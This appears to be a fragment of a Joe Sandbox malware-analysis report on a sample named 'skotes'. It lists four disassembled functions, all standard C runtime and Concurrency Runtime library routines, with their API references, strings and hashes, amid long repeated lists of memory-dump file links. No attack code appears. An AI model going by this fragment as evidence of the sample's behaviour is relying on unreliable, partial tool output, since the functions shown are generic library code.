Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 28f88e26ea49c6c120138e7826e8a33562fdc18ed9c0082c3f3be16e2ced2e43
Instruction ID: 75895ab9661f401725a371f51d78652ec498fa61d6e6a9c71631861182edefc7
Opcode Fuzzy Hash: 28f88e26ea49c6c120138e7826e8a33562fdc18ed9c0082c3f3be16e2ced2e43
Instruction Fuzzy Hash: DA319035A80214ABCB05EFA4C895FADB3B5BF66314F21856DE91197292EB70ED01CA90

Function 001C4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 001C4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 001C4E86
PMDtoOffset.LIBCMT ref: 001C4EAC

Strings

Bad dynamic_cast!, xrefs: 001C4EEE

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 987f2132cdb5cdfa431d80ea22df7a0a87e6fb716a90670ce35dade58c907d11
Instruction ID: 3ea9655d763fe855a7eca526934623bd3049db0990cfa4241dab184061e71c12
Opcode Fuzzy Hash: 987f2132cdb5cdfa431d80ea22df7a0a87e6fb716a90670ce35dade58c907d11
Instruction Fuzzy Hash: BA21F472A08605AFCB24DEA8DD56FAE77A8FB74720B11811DF91197180DB35E9008690

Function 001C727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 001C72BE

Strings

.cmd, xrefs: 001C72DC
.bat, xrefs: 001C72ED
.exe, xrefs: 001C72CB
.com, xrefs: 001C72FE

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 5b60a34094092020eb8ceadfaf651b3dc49df5aeb9c2a1bcfb449fc762f1b81c
Instruction ID: cec4076368efc9f5286bbdaff2eb9721b3b37f3651d1b3c94d21cae6e9a70726
Opcode Fuzzy Hash: 5b60a34094092020eb8ceadfaf651b3dc49df5aeb9c2a1bcfb449fc762f1b81c
Instruction Fuzzy Hash: E3012B2770CAA62566151099AD03F7B13989BF1BB4B15402EFC54F71C1DFD4DC4225E4

Function 001AFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001AFB06

Strings

SetThreadGroupAffinity, xrefs: 001AFA87
kernel32.dll, xrefs: 001AFA7A
GetCurrentProcessorNumberEx, xrefs: 001AFABE
GetThreadGroupAffinity, xrefs: 001AFA93

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: f6043997434cc9a56f714f25e9fa1ffe1598c592503c0a0450c292a406fe3885
Instruction ID: 1bab4320a3d759d58cb3c816b5f48db783060da33a2ed10e17569ca31694a39c
Opcode Fuzzy Hash: f6043997434cc9a56f714f25e9fa1ffe1598c592503c0a0450c292a406fe3885
Instruction Fuzzy Hash: 8601F57A9447512EE320B6B65D42EFF35DC9F06758721083EF442E3281EFB5E8408261

Function 001C2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 001C20B7

Part of subcall function 001BCAF3: Mailbox.LIBCMT ref: 001BCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001C20C8
StructuredWorkStealingQueue.LIBCMT ref: 001C20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001C210F

Strings

e, xrefs: 001C20D9

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
